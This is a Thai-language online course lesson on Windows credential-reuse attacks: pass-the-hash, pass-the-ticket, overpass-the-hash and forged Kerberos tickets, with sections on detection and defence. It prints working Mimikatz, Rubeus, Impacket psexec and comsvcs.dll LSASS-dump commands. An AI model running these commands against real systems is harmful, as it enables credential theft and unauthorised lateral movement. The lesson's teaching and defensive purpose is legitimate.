0Pricing
Cyber Security Academy · บทเรียน

Pass-the-Hash และ Pass-the-Ticket

นำข้อมูลรับรองที่ขโมยมาใช้ซ้ำ

Pass-the-Hash และ Pass-the-Ticket เป็นบทเรียน Cyber Security Academy ฟรีบน CoddyKit นี่คือบทเรียนที่ 3 จากทั้งหมด 4 บทเรียน คุณสามารถอ่านบทเรียนทั้งหมดด้านล่างฟรี — จากนั้นลองปฏิบัติด้วยตัวคุณเองในเบราว์เซอร์พร้อมตัวแก้ไขโค้ดในตัวและติวเตอร์ AI ตลอด 24/7 บทเรียนนี้เป็นส่วนหนึ่งของเส้นทางการเรียน Cyber Security Academy และความก้าวหน้าของคุณจะซิงค์ข้ามเว็บและแอป CoddyKit คอร์ส Cyber Security Academy มีบทเรียนทั้งหมด 4 บทเรียน

ข้อมูลรับรองโดยไม่ใช้รหัสผ่าน

การยืนยันตัวตนของวินโดวส์มักไม่จำเป็นต้องใช้รหัสผ่านแบบข้อความธรรมดาในจุดที่นำไปใช้งาน ทั้งแฮช NTLM และตั๋วเคอร์เบอรอสสามารถใช้ยืนยันตัวตนได้ด้วยตัวเอง ผู้โจมตีจึงใช้ประโยชน์จากช่องทางนี้ด้วยการขโมยสิ่งตกค้างดังกล่าวแล้วนำกลับมาใช้

  • การส่งผ่านแฮช (PtH) นำแฮช NTLM กลับมาใช้ซ้ำ
  • การส่งผ่านตั๋ว (PtT) นำตั๋วเคอร์เบอรอสกลับมาใช้ซ้ำ
  • ทั้งสองวิธีไม่จำเป็นต้องถอดรหัสรหัสผ่าน

ที่เก็บข้อมูลรับรอง

ระหว่างการทำงานตามปกติ ข้อมูลสำหรับยืนยันตัวตนจะถูกแคชไว้ในหน่วยความจำและบนดิสก์ แหล่งที่พบบ่อย ได้แก่

  • หน่วยความจำของกระบวนการ LSASS เก็บแฮชและตั๋วของผู้ใช้ที่เข้าสู่ระบบ
  • ฐานข้อมูล SAM เก็บแฮชของบัญชีภายในเครื่อง
  • NTDS.dit บน DC เก็บแฮชของทุกบัญชีในโดเมน
  • คลังข้อมูลรับรองและที่เก็บข้อมูลของเบราว์เซอร์ที่ได้รับการปกป้องด้วย DPAPI

การดึงข้อมูลจาก LSASS เป็นขั้นตอนเก็บเกี่ยวข้อมูลที่พบบ่อยที่สุด

# Mimikatz: dump logon passwords and hashes
privilege::debug
sekurlsa::logonpasswords

# Comsvcs minidump of lsass (living-off-the-land)
rundll32 C:\windows\system32\comsvcs.dll, MiniDump <pid> lsass.dmp full

กลไกการส่งผ่านแฮช

การยืนยันตัวตนด้วย NTLM พิสูจน์ว่าคุณทราบรหัสผ่านด้วยการใช้แฮชของรหัสผ่านเป็นข้อมูลลับในกระบวนการตอบสนองต่อคำท้าทาย หากคุณมีแฮช คุณก็สามารถทำกระบวนการจับมือให้เสร็จสิ้นได้โดยไม่ต้องรู้รหัสผ่านเลย

ด้วยเหตุนี้ แฮช NT จึงใช้แทนรหัสผ่านได้ บริการใดก็ตามที่ยอมรับ NTLM จะสามารถเข้าถึงได้โดยใช้เพียงแฮช

# Mimikatz pass-the-hash spawns a process with injected creds
sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:<NThash> /run:cmd.exe

# Impacket psexec via hash
psexec.py -hashes :<NThash> corp.local/Administrator@10.0.0.20

กลไกการส่งผ่านตั๋ว

ตั๋วเคอร์เบอรอสเป็นโทเค็นแบบผู้ถือครอง ผู้ใดก็ตามที่ถือ TGT หรือ TGS ที่ยังใช้ได้สามารถใช้ตั๋วนั้นได้จนกว่าจะหมดอายุ ผู้โจมตีดึงตั๋วออกจาก LSASS แล้วฉีดตั๋วเหล่านั้นเข้าไปในเซสชันของตนเอง

  • การขโมย TGT ทำให้คุณขอตั๋วบริการในฐานะผู้ใช้นั้นได้
  • การขโมย TGS ทำให้เข้าถึงบริการเฉพาะหนึ่งบริการได้
# Export all tickets, then inject one
Rubeus.exe dump /nowrap
Rubeus.exe ptt /ticket:doIF... (base64 blob)

# Mimikatz
sekurlsa::tickets /export
kerberos::ptt ticket.kirbi

การข้ามผ่านแฮช

การข้ามผ่านแฮช หรือที่เรียกอีกอย่างว่าการส่งผ่านคีย์ เป็นสะพานเชื่อมระหว่าง NTLM กับเคอร์เบอรอส คุณใช้คีย์ NTLM หรือ AES ที่ขโมยมาเพื่อขอ TGT ของเคอร์เบอรอสที่ถูกต้อง จากนั้นจึงทำงานภายในเคอร์เบอรอสโดยสมบูรณ์

วิธีนี้พรางตัวได้ดีกว่าการส่งผ่านแฮชแบบตรง ๆ เพราะการรับส่งข้อมูลที่เกิดขึ้นมีลักษณะเหมือนการยืนยันตัวตนด้วยเคอร์เบอรอสตามปกติ

# Rubeus: turn an NTLM hash into a TGT
Rubeus.exe asktgt /user:svc_sql /rc4:<NThash> /ptt

# AES key is even quieter than RC4
Rubeus.exe asktgt /user:svc_sql /aes256:<key> /ptt

ตั๋วทองคำและตั๋วเงิน

เมื่อเข้าถึงระบบได้ลึกขึ้น ผู้โจมตีจะปลอมตั๋วขึ้นมาโดยตรง

  • ตั๋วทองคำ คือ TGT ปลอมที่ลงนามด้วยแฮชของ krbtgt ให้สิทธิ์แก่ตัวตนใดก็ได้ และใช้ได้จนกว่าจะหมุนเวียน krbtgt สองครั้ง
  • ตั๋วเงิน คือ TGS ปลอมสำหรับบริการหนึ่งบริการ ซึ่งลงนามด้วยแฮชของบัญชีบริการ ตั๋วนี้ไม่เคยติดต่อ DC จึงตรวจจับได้ยาก
  • ตั๋วเพชร แก้ไข TGT ที่ออกอย่างถูกต้องเพื่อหลบเลี่ยงการตรวจจับการปลอมตั๋ว

รูปแบบการเคลื่อนที่ด้านข้าง

ข้อมูลรับรองที่นำกลับมาใช้ซ้ำเป็นกลไกสำคัญของการเคลื่อนที่ด้านข้าง ช่องทางการเรียกใช้ที่พบบ่อย ได้แก่

  • SMB + การสร้างบริการ (รูปแบบ psexec)
  • การสร้างกระบวนการระยะไกลด้วย WMI
  • WinRM / การเรียกใช้ PowerShell จากระยะไกล
  • การสร้างอินสแตนซ์ออบเจ็กต์ DCOM

แฮชหรือตั๋วเดียวกันที่ขโมยมาอาจใช้ปลดล็อกโฮสต์จำนวนมากที่บัญชีนั้นเป็นผู้ดูแลระบบภายในเครื่อง

เหตุใดการใช้ผู้ดูแลระบบภายในเครื่องซ้ำจึงอันตราย

การใช้รหัสผ่านผู้ดูแลระบบภายในเครื่องเดียวกันร่วมกันในหลายเครื่องเป็นเรื่องร้ายแรงอย่างยิ่ง หากดึงรหัสผ่านนั้นออกมาได้เพียงครั้งเดียว คุณก็สามารถส่งผ่านแฮชเข้าสู่ทุกโฮสต์ที่ใช้รหัสผ่านเดียวกันได้

LAPS แก้ปัญหานี้ด้วยการตั้งรหัสผ่านผู้ดูแลระบบภายในเครื่องที่ไม่ซ้ำกันและหมุนเวียนให้แต่ละเครื่อง โดยจัดเก็บไว้ใน AD พร้อมจำกัดสิทธิ์การอ่าน

การตรวจจับ

การโจมตีเหล่านี้ทิ้งร่องรอยให้ตรวจสอบได้หากเฝ้าดูอย่างเหมาะสม

  • ประเภทการเข้าสู่ระบบ 3 / 9 ที่ใช้ NTLM ในกรณีที่ควรใช้เคอร์เบอรอส
  • เหตุการณ์ 4624 ที่มี seclogon หรือมี NTLM ผิดปกติจากบัญชีที่มีสิทธิ์สูง
  • ความผิดปกติของตั๋ว เช่น มี TGS โดยไม่มี TGT ก่อนหน้า (ตั๋วเงิน) หรือตั๋วมีอายุการใช้งานผิดปกติ (ตั๋วทองคำ)
  • การเข้าถึง LSASS จากกระบวนการที่ไม่ใช่มาตรฐาน (เหตุการณ์ Sysmon 10)

กลไกป้องกัน

การเสริมความมั่นคงมุ่งเน้นที่การปกป้องและแยกข้อมูลรับรองออกจากกัน

  • เปิดใช้ การป้องกันข้อมูลรับรอง เพื่อแยกข้อมูลลับของ LSASS ไว้ในสภาพแวดล้อม VBS
  • เพิ่มบัญชีที่มีความละเอียดอ่อนลงใน ผู้ใช้ที่ได้รับการป้องกัน (ไม่มี NTLM ไม่มีการมอบหมายสิทธิ์ และตั๋วมีอายุสั้น)
  • นำ LAPS มาใช้และบังคับใช้การแบ่งระดับผู้ดูแลระบบ เพื่อไม่ให้ข้อมูลรับรองระดับ 0 ไปอยู่บนเวิร์กสเตชัน
  • หมุนเวียน krbtgt สองครั้งเมื่อสงสัยว่าถูกโจมตีด้วยตั๋วทองคำ

การทดสอบอย่างรับผิดชอบ

การดึงข้อมูลจาก LSASS และการปลอมตั๋วเป็นการดำเนินการที่มีผลกระทบสูง ให้ทำเฉพาะเมื่อได้รับอนุญาตอย่างชัดเจนและทำกับเป้าหมายที่ตกลงกันไว้เท่านั้น หลีกเลี่ยงการดึงข้อมูลจาก DC สำหรับใช้งานจริง เว้นแต่จะอยู่ในขอบเขตงาน และทำลายแฮชกับตั๋วที่เก็บเกี่ยวมาอย่างปลอดภัยหลังจากรายงานผลแล้ว

บันทึกการนำข้อมูลรับรองแต่ละรายการกลับมาใช้ซ้ำ เพื่อให้ทีมป้องกันตรวจสอบได้ว่ากลไกตรวจจับทำงาน

ตรวจสอบความเข้าใจ

ตรวจสอบความเข้าใจเกี่ยวกับการโจมตีที่นำข้อมูลรับรองกลับมาใช้ซ้ำ

ทบทวน

คุณได้เห็นแล้วว่าแฮชและตั๋วที่ขโมยมาสามารถหลีกเลี่ยงการใช้รหัสผ่านได้โดยสิ้นเชิง

  • การส่งผ่านแฮชนำแฮช NTLM กลับมาใช้ซ้ำ ส่วนการส่งผ่านตั๋วนำตั๋วเคอร์เบอรอสกลับมาใช้ซ้ำ
  • การข้ามผ่านแฮชแปลงแฮชให้เป็น TGT ของเคอร์เบอรอสที่ถูกต้อง
  • ตั๋วทองคำ ตั๋วเงิน และตั๋วเพชรถูกปลอมขึ้นเพื่อคงการเข้าถึง
  • การป้องกันข้อมูลรับรอง, LAPS, ผู้ใช้ที่ได้รับการป้องกัน และการหมุนเวียน krbtgt คือกลไกป้องกันหลัก

ต่อไป: เปลี่ยนจุดยึดเริ่มต้นให้เป็นการควบคุมโดเมนอย่างสมบูรณ์

คำถามที่พบบ่อย

บทเรียน “Pass-the-Hash และ Pass-the-Ticket” ฟรีหรือไม่

ใช่ — ข้อความเต็มของ “Pass-the-Hash และ Pass-the-Ticket” ฟรีให้อ่านที่นี่บนเว็บ เพื่อปฏิบัติแบบโต้ตอบ (ตัวแก้ไขโค้ดในตัวและติวเตอร์ AI ตลอด 24/7) และปลดล็อคส่วนที่เหลือของคอร์ส Cyber Security Academy ให้อัปเกรดเป็น CoddyKit PRO คอร์ส Cyber Security Academy มีบทเรียนทั้งหมด 4 บทเรียน

คุณจะเรียนรู้อะไรในบทเรียน “Pass-the-Hash และ Pass-the-Ticket”

นำข้อมูลรับรองที่ขโมยมาใช้ซ้ำ คุณปฏิบัติ Cyber Security Academy ด้วยโค้ดที่ใช้งานได้จริงที่คุณเรียกใช้โดยตรงในเบราว์เซอร์ และติวเตอร์ AI ตลอด 24/7 ตอบคำถามของคุณขณะที่คุณไปผ่านบทเรียน

คุณต้องมีประสบการณ์ก่อนที่จะเริ่มเรียน Cyber Security Academy หรือไม่

ไม่จำเป็นต้องมีประสบการณ์มาก่อน Cyber Security Academy บน CoddyKit ออกแบบมาสำหรับผู้เริ่มต้นไปจนถึงผู้เรียนขั้นสูง คุณสามารถเริ่มต้นที่นี่หรือเริ่มจากตัวแรกและเรียนด้วยความเร็วของคุณเอง นี่คือบทเรียนที่ 3 จากทั้งหมด 4 บทเรียน

บทเรียน “Pass-the-Hash และ Pass-the-Ticket” ใช้เวลานานแค่ไหน

บทเรียน CoddyKit ส่วนใหญ่ใช้เวลาประมาณ 5–10 นาที แต่ละบทเรียนจึงสั้นและเป็นแบบโต้ตอบ คุณสามารถก้าวหน้าอย่างต่อเนื่องและกลับมาเรียนต่อจากตรงที่เพิ่งหยุดบนเว็บและแอปได้เลย

ฉันเขียนและรันโค้ดในบทเรียน Cyber Security Academy นี้ได้ไหม

ได้ บทเรียน Cyber Security Academy ทุกบทมีตัวแก้ไขโค้ดในตัว คุณจึงเขียนและรันโค้ดจริงได้เลยในเบราว์เซอร์ และได้รับข้อเสนอแนะจาก AI ในทันที — ไม่ต้องติดตั้งในเครื่องของคุณ

บทเรียนทั้งหมดในหลักสูตรนี้

  1. พื้นผิวการโจมตีของ Active Directory
  2. Kerberos และ Kerberoasting
  3. Pass-the-Hash และ Pass-the-Ticket
  4. การยกระดับสิทธิ์และการครอบงำโดเมน
← กลับไปที่ Cyber Security Academy